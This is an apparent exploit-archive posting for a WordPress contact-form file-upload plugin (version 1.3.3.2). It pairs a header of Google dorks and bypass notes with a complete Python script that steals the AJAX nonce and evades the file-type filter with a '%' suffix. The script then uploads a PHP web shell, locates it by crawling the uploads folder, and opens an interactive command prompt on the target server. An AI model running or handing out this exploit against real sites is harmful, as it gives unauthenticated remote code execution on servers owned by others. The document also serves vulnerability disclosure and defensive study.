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WordPress Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution Exploit
# Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution # Exploit Author: Austin Martin # Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/ # Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/ # Vendor Homepage: https://www.codedropz.com/ # Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/ # Version: 1.3.3.2 # Tested on: WordPress 5.4.1, PHP 7.41 # CVE : N/A # Notes: # At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications # Application was patched by vendor within 24 hours of initial disclosure # This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed # Any file types can be added to the "supported_type" parameter # These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/ # Dangerous file types such as php have "_.txt" appended to the end creating a text file # This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name # ex. "php%" for file type and "shell.php%" for filename # The PHP payload in the POC can be easily modified to gain a reverse shell #!/usr/bin/python import string import random import requests from bs4 import BeautifulSoup import sys payloadurl="" def RecurseLinks(base,file): headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"} f = requests.get(base, headers=headers) soup = BeautifulSoup(f.content, "html.parser") for root in soup.find_all("a"): href = root.get("href") if (href.startswith("/")): do = "nothing" elif (href.endswith("/")): RecurseLinks(base + href, file) else: if file in href: print ("\n[+] File Found --> " + base + href) global payloadurl payloadurl = (base+href) def main(): #os.system('cls') print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution") print("@amartinsec --> Twitter\nCVE:2020-12800\n") #Build The Request #Generate random URL for filename file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6)) urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ") #Finding the nonce used in the Ajax security string print ("\n[+] Searching for security string nonce") headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'} homepage = requests.get(urlinput,headers=headers) homepage = homepage.text homepage = homepage.split("ajax_nonce\":\"",1)[1] securitykey = homepage[:10] print("[+] Found security string --> " + securitykey) url = urlinput + "/wp-admin/admin-ajax.php" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601", } data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \ "php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \ "5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \ "dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \ "\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \ "\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \ "filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \ "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \ "\r\n-----------------------------350278735926454076983690555601--\r\n" print "\n[+] Sending payload to target" response = requests.post(url, headers=headers, data=data) if "200" in str(response): print("[+] Looks like a successful file upload!\n") elif "403" in str(response): print("\nFile Upload Failed") print("403 in response. Check security string") sys.exit(1) else: print("File upload failed. Try the manual way with Burp") sys.exit(1) print("[+] Crawling for the uploaded file. This may take a minute...") print("[+] Searching for " + file + ".php") RecurseLinks(urlinput + "/wp-content/uploads/",file) if payloadurl == "": print("Can't find the file on the web server") print("Try the manual method") sys.exit(1) #If all goes well, we can now send requests for RCE print("[+] Success\n") while True: cmd= raw_input("[+] CMD: ") headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'} request = requests.get(payloadurl + "?e=" + cmd, headers=headers) print request.text if __name__ == "__main__": main() # 0day.today [2024-07-07] #